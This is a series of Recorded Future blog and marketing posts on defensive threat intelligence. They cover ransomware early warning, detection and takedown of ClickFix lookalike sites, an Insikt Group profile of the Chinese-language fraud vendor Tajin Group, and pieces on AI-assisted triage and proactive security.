That gives defenders an earlier window to act. Ransomware threat intelligence helps security teams identify the actors, infrastructure and access methods connected to ransomware activity before an attack reaches its final stage. Instead of waiting for an endpoint alert or ransom note, teams can look for exposed credentials, malicious infrastructure and known attacker behavior, then act on the threats most relevant to their organization.

The need for that earlier view is growing. Modern ransomware operations may use Ransomware-as-a-Service (RaaS) models and double- or triple-extortion tactics, giving defenders more reason to identify warning signs before encryption.

Key takeaways

• Ransomware threat intelligence can expose signs of an attack before encryption, including compromised access and attacker infrastructure.
• IOCs remain useful, but TTPs provide longer-lasting context because attacker behavior changes less quickly than individual IP addresses or file hashes.
• Early disruption can focus on closing initial access paths or cutting communication between compromised systems and known C2 infrastructure.
• Recorded Future assists in connecting ransomware intelligence with organizational exposure, threat actor context and existing security workflows so teams can better prioritize action.

Why reactive ransomware defense is not enough

Reactive controls remain important, but they often cannot provide the external context security teams need to identify which ransomware threats are most likely to reach their environment.

Endpoint detection and response (EDR), network monitoring, and backups all have a role in ransomware defense. The problem is timing. If a team only acts after malicious behavior appears inside its environment, the attacker may already have gained access or started moving toward systems that matter.

This is where modern ransomware detection benefits from external intelligence. Security teams can compare what they see internally with information about active ransomware groups, infrastructure and exploitation activity outside their network.

IOCs show what happened. TTPs help anticipate what comes next.

Indicators of compromise (IOCs), such as malicious IP addresses, domains, and file hashes, can help security controls identify known threats. They also typically have a short shelf life when attackers rotate infrastructure or alter malware.

Tactics, techniques, and procedures (TTPs) describe how an adversary operates. MITRE ATT&CK organizes those behaviors across stages such as initial access, lateral movement and command and control.

A ransomware actor can quickly replace an IP address. Changing a working attack method takes more effort. Tracking both IOCs and TTPs gives defenders a stronger basis for deciding what to block now and what behavior to watch for next.

The goal is not to replace IOC-based detection. It is to add enough context to understand who may be behind an indicator, how it fits into an attack, and what the adversary is likely to attempt next.

How does Threat Intelligence help prevent ransomware attacks?

The best time to disrupt ransomware is before the attacker reaches the impact stage. Threat intelligence creates opportunities to act during initial access and C2 activity rather than relying on recovery after encryption.

External intelligence can reveal parts of the ransomware operation that are difficult to see from internal telemetry alone. That includes activity in criminal marketplaces as well as infrastructure connected to known threat actors.

Phase 1: Track the adversary outside your network

Initial access is often a business in its own right. Initial access brokers (IABs) obtain access to compromised organizations and advertise it to other criminals. Threat intelligence can surface compromised credentials and exposed Remote Desktop Protocol (RDP) access associated with an organization. It can also monitor IAB listings, actor chatter, and target discussions for warning signs before that access is used.

Monitoring those sources can give security teams a warning that credentials or access associated with their organization are exposed. A credential discovered for sale does not prove that a ransomware attack will follow, but it creates a specific risk that defenders can investigate before someone uses that access.

Threat intelligence can also connect ransomware groups with domains, IP addresses, and other infrastructure associated with their operations. Malware analysis and controlled sandbox testing can add newly observed indicators and behavioral information.

C2 intelligence is especially useful because command-and-control gives attackers a way to communicate with systems they have compromised. If defenders know the infrastructure associated with an active threat actor, they can look for related connections within their own network rather than waiting for the ransomware payload to execute.

Phase 2: Act at the point of disruption

Tracking only matters if the intelligence changes what the security team does.

At initial access, one priority is removing the opportunity before an attacker can use it. If exposed corporate credentials appear in criminal sources, the organization can investigate the affected account, reset credentials where needed, and review authentication activity for signs of misuse.

The same principle applies to vulnerabilities. A large vulnerability backlog does not indicate which flaw an attacker is likely to exploit first. Vulnerability intelligence adds evidence of exploitation activity, enabling teams to respond faster to weaknesses associated with active threats rather than relying on severity scores alone.

C2 creates another intervention point. High-confidence indicators associated with malicious infrastructure can be supplied to security controls so connections are blocked or detected earlier. If an endpoint begins communicating with known C2 infrastructure, the security team can investigate and isolate the affected system before the attacker progresses further.

Disruption does not always require taking criminal infrastructure offline. For an individual organization, breaking the attacker's access to its environment can be enough to stop that attack path.

These controls should sit alongside broader guidance on how to prevent ransomware, including identity protection, patching, and recovery planning. Threat intelligence makes those efforts more targeted by showing teams where an active threat is most likely to intersect with their environment.

Recorded Future turns ransomware intelligence into action

Recorded Future helps security teams connect external ransomware activity with their own exposure so they can spend less time sorting through threat data and more time acting on relevant risks.

Recorded Future’s ransomware mitigation capabilities bring together threat research, dark web intelligence and information about an organization's attack surface. Threat actor, industry and TTP context helps teams narrow their attention to ransomware threats that warrant attention.

Reduce research time with the Intelligence Graph^Ⓡ

A large feed of indicators can contribute to alert fatigue if analysts must investigate each item manually. Recorded Future's Intelligence Graph^Ⓡ connects information about threat actors with associated malware, infrastructure, and vulnerabilities.

That context helps analysts move from an isolated indicator to the relationships around it. Rather than treating every IOC as equally important, teams can assess how an indicator relates to an active threat and whether that threat is relevant to their organization.

Recorded Future uses AI to collect, process, and correlate threat data within the Intelligence Graph. This helps reduce repetitive research and enables teams to prioritize relevant findings.

Focus on the ransomware actors most relevant to your organization

Not every ransomware group has the same targets. Industry, geography and previous victim patterns can help analysts understand where a threat actor tends to focus.

Recorded Future's Ransomware Risk Profile provides a view of an organization's ransomware exposure. Victimology insights help teams understand which ransomware groups and TTPs are most relevant based on targeting patterns such as industry and geography.

This allows SOC and threat intelligence teams to tune detection and hunting around ransomware groups whose past activity makes them more relevant to the business rather than treating the entire ransomware landscape as equally urgent.

Put intelligence into existing security workflows

Threat intelligence loses value when an analyst has to move findings manually from one tool to another.

Recorded Future can deliver intelligence through APIs and integrations with security information and event management (SIEM), security orchestration, automation, and response (SOAR), and endpoint detection and response (EDR) tools. Depending on the configured workflow, intelligence can add context to alerts and support automated blocking of malicious infrastructure.

Build an intelligence-driven ransomware defense

Ransomware threat intelligence changes the point at which defenders can respond. Instead of treating encryption as the first clear sign of an attack, teams can look for the access, infrastructure and behavior that come earlier.

This does not replace EDR, access controls or backups. It gives those defenses external context. A vulnerability becomes more urgent when a ransomware actor is actively exploiting it. An exposed credential becomes an immediate investigation point when criminals are offering access to the organization. A C2 indicator becomes more useful when analysts can connect it to the actor and TTPs behind it.

That earlier context can reduce both the likelihood of a successful attack and the damage an attacker can cause. Given how ransomware affects businesses, moving the disruption point earlier in the attack lifecycle can protect far more than encrypted files.

Ready to stop ransomware before a breach occurs? Explore our product tours to get a feel for how Recorded Future automates the tracking and disruption of the most relevant threat actors targeting your industry.

Ransomware Threat Intelligence FAQs

What is the primary difference between a reactive and a threat intelligence-led disruption strategy for ransomware?

A reactive strategy focuses on detecting and recovering from ransomware after malicious activity reaches the environment. A threat intelligence-led strategy looks for earlier warning signs, such as exposed access, known threat actor behavior and malicious infrastructure, so teams can intervene before encryption occurs.

Is paying a ransom ever considered an effective disruption strategy?

Paying a ransom occurs after an organization has already been compromised, so it is generally not a preemptive disruption strategy. Threat intelligence-led disruption focuses on stopping the attacker earlier in the ransomware lifecycle.

Which stages of the ransomware attack lifecycle offer the best opportunities for external disruption via threat intelligence?

Reconnaissance and command and control (C2) provide valuable opportunities for disruption. Threat intelligence can identify exposed credentials, access being advertised by initial access brokers and infrastructure associated with known ransomware actors before those resources are used against the organization.

How does Recorded Future use AI to accelerate ransomware disruption?

Recorded Future uses AI to collect, process and correlate threat data within the Intelligence Graph. This helps analysts connect indicators with threat actors, infrastructure and TTPs, reducing manual research and helping teams identify ransomware threats that require attention faster.

Can Recorded Future help our organization identify and mitigate our most critical ransomware exposure points?

Recorded Future combines vulnerability and attack surface intelligence with external threat context to help teams identify exposures associated with active ransomware threats. This can help security teams prioritize remediation based on evidence of exploitation and organizational risk rather than severity scores alone.

What is victimology in the context of ransomware intelligence, and how is it used to protect an organization?

Victimology examines the types of organizations ransomware groups have targeted, including patterns related to industry and geography. Security teams can use those patterns alongside threat actor TTPs to identify ransomware groups that may be more relevant to their organization and adjust detection and hunting accordingly.

How is the rise of Ransomware-as-a-Service impacting the way organizations use threat intelligence for tracking?

Ransomware-as-a-Service can separate ransomware operators from the affiliates carrying out attacks. Threat intelligence teams therefore need to track more than a single malware family, including affiliate behavior, initial access activity and criminal-market sources that may reveal how attacks are being prepared.

Recorded Future's Insikt Group^Ⓡ, our team of threat intelligence analysts and security researchers, has been tracking a technique called ClickFix as it works its way into a growing number of brand impersonation campaigns. We recently hosted a webinar digging into that research, and what stood out wasn't just the technique itself. There's no malware automatically installed, no exploit, just a page convincing enough that the victim ends up doing the damage themselves. It is also a strong example of the detection capabilities built into Malicious Site Monitoring, a new use case included in Digital Risk Protection, and a good way to show what those capabilities are actually built to catch.

How ClickFix actually works

ClickFix works by mimicking the visual language people already trust, a CAPTCHA prompt, a familiar logo, a "verify you're human" screen, and using that trust to get someone to run a command on their own machine. There's no code being smuggled past a firewall. The victim is the delivery mechanism.

That's also what makes it hard to catch with traditional tools. A page built to look exactly like a real verification screen doesn't behave like malware, and it doesn't trip the same alarms as a page trying to exploit a browser. It succeeds because the person on the other end believes they're completing something routine.

It's not static, either. The instructions can change depending on the operating system a victim is running, one path for Windows, a different one for macOS, which means the "fix" itself adapts to the target. A single signature or a one-off takedown was never going to keep up with that. Catching this at scale means watching for the pattern, not waiting to recognize a specific file.

Malicious Site Monitoring

This kind of research and the product built to act on it aren't two separate things. Digital Risk Protection's Malicious Site Monitoring is built to catch this exact category of infrastructure, phishing domains, lookalike sites, brand impersonation, fast enough to matter. Disposable infrastructure like this is designed to do its damage and disappear before anyone gets around to reporting it, so speed isn't just a nice-to-have here, it's a necessity.

Underneath that speed is a detection process built in layers. Analyst-built signatures catch known patterns with precision. Content similarity analysis can catch campaigns that move in clusters. Attackers often reuse the same page template across dozens of disposable domains, so even though each domain name looks unrelated, the pages themselves share the same structure underneath. A separate component flags a familiar logo or brand mark through screenshot analysis and Optical Character Recognition (OCR). Machine learning is often able to catch what the other methods might miss, sites that don't resemble any known signature or template, by predicting risk from the page's characteristics rather than requiring a direct match. That layered approach is what makes it possible to evaluate a massive volume of candidate domains and URLs every single day without generating excessive false positives.

From detection to takedown

Finding a threat fast doesn't help much if the next steps are still manual. The real shift in how Digital Risk Protection operates is this: detection, triage, and action now live in the same workflow.

Not every detection needs a human to look at it immediately, and that distinction matters. A multi-stage detection funnel helps filter raw monitoring volume down to those that could need a response, and for malicious sites specifically, an AI Triage Agent reviews flagged detections and delivers a verdict before anything reaches an analyst's queue. Instead of triaging a wall of alerts, teams are looking at a shortlist of things that already have context attached, what was found, why it matters, and what to do about it.

And when something does need action, takedown doesn't require a separate process. Coordination happens directly from the alert, one click, instead of manually chasing down registrars and hosting providers one by one.

What this means going forward

ClickFix is one campaign type. It won't be the last one built this way, and it almost certainly won't be the most sophisticated one we see this year. The interesting story isn't any single technique, it's that the same detection engine tracking it in a research report is the one running in production, watching for the next one before it has a name.

If you want to see that detection-to-action workflow in practice, not just malicious sites, but the full picture across dark web monitoring, code repository exposure, impersonation, and identity monitoring, take a self-guided click-through of Digital Risk Protection or request a demo. If you're already a customer, your account team can walk you through what this looks like against your own brand.

Frequently asked questions

Is ClickFix something Digital Risk Protection can actually detect, or just something Insikt Group writes about?

Both. The detection methodology behind the ClickFix research, layered signature, similarity, and machine learning analysis, is the same engine running inside Malicious Site Monitoring today. The research isn't separate from the product; it's built on it.

Is the AI Triage Agent available for this use case?

Yes. Malicious Site Monitoring is one of two use cases, alongside Dark Web Brand Monitoring, where the AI Triage Agent is live today. It reviews flagged detections and delivers a verdict before anything reaches an analyst's queue.

How do I get access to Digital Risk Protection?

It's available as a standalone solution or as part of Recorded Future's Core, Professional, and Elite platform packages. If you already use Recorded Future for brand monitoring, it's available to activate directly in the platform. If you're new to Recorded Future, request a demo to see it in action.

A great agent gives the decision maker insight into intent, and a reasoning and decision advantage over his or her adversaries. In some circumstances, this advantage shapes destiny. Control over destiny is commonly called sovereignty.

AI has rapidly made reasoning ubiquitous; a commodity accessible to all at ever-decreasing marginal cost. In the age of AI, advantage accrues to those who use reason most effectively, make good decisions most quickly, and take actions most confidently. And who will do the bulk of this reasoning, make these decisions, and take these actions? Agents.

Agent Running in the Age of AI

Historically, agents were sources of intelligence but, in the age of AI, the new consumer of intelligence is an agent. Agents will be dependent on the quality and timeliness of the intelligence they receive to give them context, shape their priorities, drive their behavior, and ensure the quality of their actions. Every agent will need an intelligence layer it can trust. Recorded Future is that layer.

Recruiting and running human agents is hard and expensive, and very few have the resources and the expertise to do it well. One experienced MI6 officer might run a handful of agents at any one time. But the human-to-agent ratio is about to change dramatically as decision-making shifts from carbon to silicon, driving down the costs of agent running, but dramatically increasing our reliance on agent decisions and actions.

The best military and political outcomes often result from the seamless integration of different sources and types of intelligence to produce a true understanding of the threat or the objective to be met, enabling good decision-making and decisive actions. The Cuban Missile Crisis combined geospatial, human, and signals intelligence; the D-Day Landings combined signals, human, and meteorological intelligence. As frontier AI capabilities diffuse, and as agentic systems incorporate these capabilities into multi-agent workflows, the performance of these systems relative to others, and thus their ability to deliver advantage, will be determined by ongoing access to high-fidelity, multi-source intelligence.

This is already the case in the domain of cyber security. Intelligence-enriched systems and workflows learn more quickly, adapt more nimbly, and operate more efficiently and effectively than those they are competing with. The adoption rate of Recorded Future’s AI triage capabilities proves this hands down.

Intelligence platforms like Recorded Future, which shed light on threat actor tactics, techniques, and procedures (TTPs) in real time, and which scale with AI and agent capabilities, are the foundation for effective agentic systems. Intelligence-driven agent running will ensure better agentic decisions and actions, delivering an enduring advantage over adversaries.

As former CIA Director Bill Burns put it, “The foundation for good policy choices is good intelligence wisely used.” In the age of AI, agents will make those choices, and the value of good intelligence will be greater than ever.

We’re incredibly proud of this acknowledgment, just as we are of every recognition we’ve received over the years. Behind every one of these industry evaluations is a lot of work that readers never see — including product demonstrations, customer reference calls, briefing presentations, and formal questionnaire submissions — all of it condensed into a single final report. But the most interesting part of any industry recognition is all the details and information that resides in the demos, decks, and responses, so we wanted to share some additional context on the factors that we believe contributed to our ranking this year.

Use this blog post as a companion guide when reading your complimentary copy of the Forrester Wave™ report, which you’ll find in the link below.

Get the report.

Superior support for Priority Intelligence Requirements

Priority Intelligence Requirements (PIRs) are foundational in helping security teams achieve meaningful outcomes, because they help shape data collection strategy and support the effective decision-making that enables machine-speed defense.

Recorded Future received the highest possible score in the PIR criterion. Forrester’s evaluation describes this score as for vendors that offer “superior support for features such as mechanisms to translate external PIRs meaningfully, advanced querying for building/optimizing PIRs, and structured management of General Intelligence Requirements.”

We’ve made PIRs a particular focus in the Recorded Future Platform, adding prebuilt PIRs and enabling customers to use them or define their own in our Impact and Metrics Dashboard. The dashboard surfaces metrics based on those requirements, so teams can more easily measure and better report on how successfully their programs are answering the key questions business leadership wants answered.

Extensive intelligence collection sources and deep and dark web monitoring

Intelligence is at the core of the modern security stack, and good intelligence is often what separates reactive security teams from proactive ones that can defend themselves pre-attack, at the first sign of threat.

To us, Forrester’s evaluation criteria show how important comprehensive intelligence collection is in providing security teams with full visibility across the threat landscape. Here are the different types of data sources we primarily index and analyze and how these data sources can be used for a multitude of use cases:

1. Technical intelligence — network traffic analysis across billions of daily data points from over 200 points of presence, internet-wide scanning and infrastructure monitoring, malware detonation and behavioral analysis, and vulnerability exploitation tracking
2. Underground intelligence — data gathered from criminal forums, marketplaces, and adversaries that can help identify stolen data and credentials, emerging attack techniques, threat actor intent, and ransomware victimology
3. Community intelligence — aggregated detections across customers that reveal patterns and campaign-level activity no single organization would usually catch on its own
4. Open-source intelligence — broader context from data leakage detection, code repository monitoring, social media monitoring, and web/HTML/DOM analysis to help catch brand abuse, impersonation, and exposed data

Threat hunting, vulnerability intelligence, third-party risk management, and more
We believe that receiving the highest possible scores in the Forrester Wave in criteria around multiple cybersecurity disciplines — including brand protection, third-party and supply chain intelligence, fraud intelligence, and threat hunting and vulnerability intelligence — demonstrate our commitment to providing powerful threat intelligence and defensive capabilities across the entire attack surface.

Figure 1: Unified threat intelligence visibility across the critical attack surfaces

As both human-directed and autonomous AI-powered attacks accelerate, security organizations, policymakers, and industry groups around the world are rethinking traditional approaches to defense.

Recorded Future CISO Jason Steer and Mastercard VP of Government Affairs and Policy Christian Ohanian recently sat down with Recorded Future’s Jon Miller to discuss how to build threat intelligence programs that can defend at machine speed, how emerging policy frameworks can help, and why high-quality intelligence is increasingly essential in this new era.

This blog offers highlights from the discussion. Watch the full event.

Evolving security standards and frameworks
Globally, security frameworks like the National Institute of Standards and Technology (NIST) Cyber AI Profile and Singapore’s cybersecurity guidelines are evolving to help organizations keep pace with new threats. According to Christian Ohanian, the goal is to encourage the adoption of AI to bolster resilience while also providing guidance on the kinds of AI-enabled threats organizations now face.

However, Ohanian pointed out that creating these standards involves debate. While some argue that frameworks should provide a clear, prioritized checklist to help resource-strapped teams improve their security programs, others believe that a "one-size-fits-all" approach fails to account for the unique risk profiles of different industries and organizations.

Jason Steer noted that while standards create a helpful taxonomy, the burden remains on CISOs to translate that language into business-specific risk decisions. “This is why intelligence is important,” he noted. “Every industry, every geography, has its own subtleties of attack, so leaning into ‘What are the real risks to my business?’ becomes the hardest part.”

The role of high-quality, purpose-fit intelligence
Ohanian noted that global security standards increasingly recognize that threat intelligence is a foundational component of modern defense. They’re also beginning to acknowledge that security organizations need to use AI and other autonomous solutions to improve the way they operationalize their intelligence. Framework discussions, he said, are now focused on “the importance of organizations looking really closely at how they can increase the speed of the way they’re using threat intelligence, how they can increase the accuracy of the prioritization of the alerts and warnings they’re getting.”

Ohanian emphasized that organizations must move beyond the simple acquisition of data and evaluate the intelligence sources feeding into their threat intelligence solutions. They need to look at "fit for purpose," ensuring that the intelligence aligns with the organization’s specific risk profile and governance requirements.

Steer agreed. “Coverage and collection at fast speed enable information to be brought together for people to assess the impact to their business,” he said. “But then it's only good if that information gets to the right people in the right tools.”

When it does, he said, high-quality intelligence can better fulfill its ultimate goal of providing “decision advantage”—enabling even less experienced SOC analysts to make quick, effective decisions.

Operationalizing security at machine speed
To begin operationalizing intelligence, organizations need to first know what they’re defending. Do they run software on-premise, in the cloud, or a combination of the two? Once they have a complete picture of the mission-critical systems they need to defend, Steer said, they’ll better understand the threats that might be targeting them.

Then, in order to achieve machine-speed defense against AI-driven attacks, organizations need the right API integrations. That way, they can send enriched, contextual threat data to their vulnerability tools and use AI to identify the clusters of high-risk activity where vulnerabilities intersect with active exploitation.

Steer noted that this shift will eventually allow security leaders to move away from trying to patch every single vulnerability—an impossible task—and toward a strategic, risk-based prioritization model. “Vulnerability prioritization is absolutely primed for AI to streamline and accelerate contextual decision-making at executive levels,” he said.

Driving toward an intelligence-led defense future
The consensus from the panel was clear: The future of cybersecurity lies in the convergence of AI, intelligence-led defense, and robust governance. While the X-factor of new threats—the ones that disrupt even the best-laid plans—will always exist, the goal is to reduce reactive panic and focus on strategic risk reduction.

For security practitioners, the takeaway is two-fold. First, they need to keep a close watch on the evolution of global security frameworks, as these documents will define industry expectations and communication standards, and they’ll give organizations a better understanding of where modern security is going in light of AI.

Second, practitioners need to focus on the quality of intelligence over quantity. By ensuring that their tools are enriched with actionable context, they can empower their teams to move from a state of constant, reactive chaos to one of calculated, proactive defense.

As Jon Miller noted, intelligence-led defense is the best way to ensure that when you move at machine speed, you’re moving in the right direction. “Speed without intelligence just means you're wrong, faster,” he said.

To get a customized walkthrough of Recorded Future’s machine-speed defense in action, take our interactive tour.

This report provides insights and analysis to better understand the role of third-party vendors and guarantee marketplaces from the perspective of Tajin Group, a third-party vendor that advertises and provides services on two Telegram-based Chinese-language guarantee marketplaces, Dabai Guarantee and Xinbi Guarantee. This includes operational challenges, perspectives regarding the competition from other threat groups, and how Tajin Group adapts to changes in its operating environment.

Additionally, we identified that Chinese-language guarantee marketplace users and third-party vendors are increasingly using third-party services to purchase and sell Telegram usernames and anonymous virtual numbers. Through these services, Chinese-speaking criminals can link multiple Telegram usernames and an anonymous virtual number (in lieu of SIM cards) to a single Telegram account. This activity indicates a continued evolution and adaptability among these threat actors, who are strengthening their operational security (OPSEC) measures through tactics such as using anonymous virtual numbers to create Telegram accounts to avoid detection and reach a wider audience.

The phishing, payment card theft, and money laundering activities of Tajin Group, guarantee marketplaces, and their third-party vendors can negatively impact banks, fund transfer services providers, cryptocurrency exchanges, and individuals vulnerable to scam and fraud-related campaigns. As Tajin Group is a single third-party vendor, the potential financial gains in the global payment industry are likely to incentivize other threat groups operating on Chinese-language guarantee marketplaces to conduct campaigns by replicating Tajin Group’s tactics, techniques, and procedures (TTPs) on a global scale.

Key Findings

• Tajin Group is mainly involved in phishing, payment card theft, and money laundering. The group actively targeted mainland Chinese citizens and Chinese banks and demonstrated a nuanced understanding of the prerequisites required to transfer funds overseas or use other payment cards remotely.
• Tajin Group conducts extensive testing involving payment cards belonging to multiple countries on the financial platforms CCAvenue and Geidea. They are well-versed in financial crimes and have listed multiple Bank Identification Numbers (BINs) for payment cards from twelve countries.
• Tajin Group constantly seeks cooperation with other threat groups to use direct payment channels that accept UnionPay, VISA, Mastercard, JCB, and Apple Pay; exploit 2D, 3D, and other payment gateways; and UAE Dirhams and electronic gift cards for their financial theft and money-laundering operations.
• Tajin Group has pivoted from Dabai Guarantee to Xinbi Guarantee, showcasing that third-party vendors do not necessarily stay loyal to a single guarantee marketplace platform. The threat group also detailed their operational challenges, intense competition from competitors, and trust issues with their previous payment card suppliers.
• Operators of Tajin Group have sold and bought at least 100 Telegram usernames and multiple phone numbers from Fragment Market, a platform that facilitates the buying and selling of virtual, anonymous phone numbers and Telegram usernames, further anonymizing their operations.

Background

Guarantee marketplaces have become increasingly popular among Chinese cybercriminals as viable alternatives to Chinese-language dark web marketplaces since Huione Guarantee and its business model gained prominence around 2021. Based on our research and previous reports, we have observed that multiple third-party vendors who are usually involved in advertising the sale of malware, databases, phishing kits, and money laundering services on dark web marketplaces have also begun to use Telegram-based guarantee marketplaces to advertise their services or seek cooperation on these platforms. These marketplaces act as a powerful force multiplier to strengthen cooperation among Chinese-speaking threat groups in recruitment, crowdsourcing information, sharing resources, and deploying personnel to commit crimes that require in-person interactions. For additional insights, see our previous report “Evolution of Chinese-Language Guarantee Telegram Marketplaces”.

We noted that these Chinese-language guarantee marketplaces typically consist of hundreds to thousands of third-party vendors, each operated by different Chinese-speaking threat actors (some syndicates) across the globe. To better understand how third-party vendors operate on these guarantee marketplaces and how they contribute to cybercriminal activities, Insikt Group analyzed the activities of Tajin Group, a threat group that conducts phishing campaigns, payment fraud, money laundering, carding, and exploits 3D and 2D payment gateways, among others. Chinese-language guarantee marketplaces typically follow a strict rule requiring that third-party vendors use only one guarantee marketplace at any given time, and we identified that Tajin Group complied with this rule by ceasing activities on Dabai Guarantee before pivoting to Xinbi Guarantee. Tajin Group observed Chinese etiquette and showed respect for the Chinese-language guarantee marketplace ecosystem, demonstrating that there is likely a common understanding between the operators of these guarantee marketplaces by having a system where no third-party vendors are allowed to make use of multiple platforms to advertise and conduct their campaigns.

Overview of Tajin Group

Tajin Group (踏金集团;踏金 [Tajin] translates to “stepping on gold” in Mandarin) is a Chinese-speaking threat group that focuses on phishing, carding, financial fraud, and money laundering. Insikt Group observed that Tajin Group used to be a third-party vendor operating on Dabai Guarantee from May 2025 to April 2026, but pivoted to Xinbi Guarantee around May 2026. Dabai and Xinbi guarantee marketplaces are known to be populated with third-party vendors that provide various services that facilitate cybercriminal activities, including money-laundering methods and services, the sale of compromised social media and e-commerce accounts, SIM cards, data containing personally identifiable information (PII), malware-as-a-service (MaaS), deepfake technology, know-your-customer (KYC) bypass services, and other illegal activities.

As guarantee marketplaces typically require their vendors to stake cryptocurrency as deposits, Tajin Group claimed to have deposited 208,848 in Tether (USDT) on Xinbi Guarantee. The deposit amount often indicates vendors’ scale of operations, where larger deposit amounts reflect larger-scale operations. By comparison, most vendors on Chinese-language Telegram guarantee marketplaces typically deposit only a few hundred to a thousand USDT. As shown in Figure 1, the deposit amount of 208,848 USDT is significantly larger than that of most other third-party vendors.

Figure 1: Tajin Group’s channel @ttjt claimed that the group is a vendor on Xinbi Guarantee with the corresponding channel @xb8848, and that the group has deposited 208,848 USDT into Xinbi Guarantee Marketplace (Source: Telegram)

Before an intrusion reaches the network, threat actors may research targets, prepare infrastructure, trade stolen credentials, or discuss vulnerabilities they plan to exploit. Security teams that rely solely on internal alerts may miss earlier activity.

Proactive threat intelligence helps security teams identify and assess threats earlier by adding external context about adversaries, infrastructure, vulnerabilities, and emerging activity. That context can help teams decide what deserves attention first and act before a threat develops into a larger incident.

Reactive security still matters: organizations need detection, incident response, and recovery capabilities when attacks occur. But proactive intelligence adds visibility earlier in the process, so security teams are not forced to make every decision after an alert fires.

Key takeaways

• Proactive threat intelligence can reveal adversary activity, infrastructure, and exposure before suspicious behavior appears inside the organization
• Intelligence can show which vulnerabilities, threat actors, and external exposures are most relevant to an organization's environment
• A proactive security mindset informs decisions about patching, threat hunting, security controls, and risk remediation
• Automated collection and analysis can reduce manual intelligence work, so analysts can spend more time investigating relevant threats

How to shift to a proactive security mindset

Reactive security begins when something has already happened. An alert fires, suspicious activity appears, or an incident is confirmed. The security team then investigates what happened and decides how to contain the threat.

Proactive threat intelligence shifts part of that work earlier by helping teams understand which adversaries may target them, which vulnerabilities attackers are exploiting, and what infrastructure or techniques are associated with current campaigns. Instead of waiting for those threats to surface internally, teams can use threat intelligence to prepare and prioritize their response.

The goal is not to predict every attack. It is to reduce uncertainty early enough to make better security decisions.

That distinction matters when teams face more alerts, vulnerabilities, and threat information than they can address at once. Proactive intelligence provides context to determine which risks are most closely connected to the organization's assets, technology, industry, and exposure.

For security leadership, that context can also support risk management. Security leaders can compare threat likelihood, asset importance, and potential business impact rather than treating alert volume as a measure of risk. This helps connect intelligence priorities with CISO-level decisions about people, budget, and remediation.

Steps in a proactive intelligence program

A proactive intelligence program follows four interconnected steps: define intelligence requirements, collect relevant information, analyze it within an organizational context, and turn the findings into security actions.

1. Requirements: Define the security and business questions the intelligence program needs to answer. These may include which adversaries pose the greatest risk, which vulnerabilities need faster action, or where the organization has external exposure.
2. Collection: Gather information that can answer those questions. Internal telemetry remains useful, but proactive intelligence also depends on external visibility. Sources may include open-source intelligence (OSINT), technical forums, dark web sources, and illicit marketplaces where threat activity can appear before an internal alert.
3. Analysis: Connect those signals with organizational context. Analysts assess whether an adversary, vulnerability, or piece of infrastructure is relevant to the organization's assets and current threat profile.
4. Action: Use that context to make a security decision. Teams may change a patching priority, block malicious infrastructure, investigate exposed credentials, or begin a targeted threat hunt.

The cycle continues as threats and business priorities change. For operational cyber threat intelligence to support security operations, the process cannot stop at collection and analysis. Intelligence needs to reach the people and controls that can act on it, then feed new findings back into the next cycle.

Examples of proactive intelligence in action

Proactive intelligence creates value when it changes a security decision. Three use cases show how external context can move action earlier.

Use case 1: Prioritize vulnerabilities using real-world threat activity

Security teams generally cannot treat every published Common Vulnerabilities and Exposures (CVE) record as equally urgent. Severity scores describe the potential technical impact of a vulnerability, but severity alone does not show whether threat actors are exploiting it or how relevant it is to a specific organization.

Proactive threat intelligence adds exploitation context to the decision.

Recorded Future Vulnerability Prioritization provides information about current exploitation and threat activity that can help teams identify which vulnerabilities warrant faster attention. A vulnerability associated with active exploitation may require a different response from another vulnerability with a similar severity score but less evidence of current attacker activity.

This gives teams another factor for deciding what to address first. It also connects threat intelligence and vulnerability management, allowing patching decisions to reflect internal exposure alongside activity in the external threat environment.

Use case 2: Identify external risk before it becomes an internal incident

Not every meaningful security signal appears within systems an organization controls.

Threat actors may register domains that imitate a company, expose employee credentials, or discuss potential targets in criminal communities. Command-and-control infrastructure and other malicious assets can also be prepared outside the organization's environment before they are used in an attack.

Digital risk monitoring gives security teams visibility into that external activity.

Recorded Future Digital Risk Protection monitors external threats including malicious domains, credential exposure, brand impersonation, and dark web activity. Finding those signals earlier gives teams an opportunity to investigate and remediate exposure before it contributes to a larger security problem.

This expands the security team's view from what has already happened internally to what is developing outside the organization.

Use case 3: Give threat hunters a more focused starting point

Threat hunting is proactive, but analysts still need a useful hypothesis about what they are looking for.

Without external context, analysts may spend too much time selecting relevant threat actors, gathering intelligence from multiple sources, validating anomalies, and assembling findings for stakeholders. Proactive intelligence can reduce some of that manual work by giving hunters a clearer starting point.

If intelligence shows that a threat actor is targeting organizations in the same industry, analysts can review that actor's known techniques, malware, and infrastructure and determine which signals are relevant to search for in internal telemetry.

The intelligence does not replace threat hunting. It helps shape the hypothesis and narrow the investigation.

Recorded Future Cyber Operations connects external intelligence with investigation, hunting, detection, and response workflows, helping analysts reach relevant threat context faster. Intelligence can also add context to alerts in SIEM, SOAR, and EDR/XDR tools, helping teams determine whether internal activity relates to known external threats.

How a proactive security mindset reduces business risk

A proactive security mindset can reduce business risk by giving teams more time and context to address relevant threats before they cause greater disruption.

Security teams can direct limited resources toward vulnerabilities being actively exploited, external exposures that require remediation, or adversaries that present a stronger risk to the organization. Earlier context can also improve preparation if a threat later develops into an incident.

For security leaders, this creates a clearer link between intelligence work and business priorities. Instead of measuring value by the number of alerts or reports produced, teams can focus on whether intelligence changed a decision, reduced exposure, or helped security teams act sooner.

Recorded Future: The engine for proactive threat intelligence

External visibility creates its own challenge: scale.

Threat information can appear across public sources, technical data, criminal communities, and internal telemetry. Manually collecting and connecting that information can leave analysts spending more time finding data than deciding what it means.

Recorded Future's Intelligence GraphⓇ addresses that problem by indexing information from more than one million sources and connecting data about threat actors, infrastructure, vulnerabilities, and organizations. The value is not simply in collecting more information, but in connecting signals and adding context so teams can better determine which threats relate to their organization and what response those threats may require. Recorded Future applies that intelligence across security and risk workflows, as the examples below show.

Precision intelligence for different security teams

• Vulnerability Prioritization adds exploitation context to help vulnerability teams prioritize remediation beyond severity scores alone.
• Cyber Operations supports investigation, threat hunting, detection, and response. External intelligence can enrich existing security tools and help teams identify and act on relevant threats with less manual research.
• Digital Risk Protection monitors external exposure such as compromised credentials, malicious domains, and brand impersonation so teams can investigate risks outside infrastructure they directly control.

Recorded Future also extends proactive intelligence into other areas of business risk.

• Third-Party Risk provides external context about vendors and other organizations in the supply chain, helping teams assess changes in third-party exposure.
• Payment Fraud monitors external fraud signals such as compromised payment data and criminal activity so fraud teams can act earlier in the fraud lifecycle.

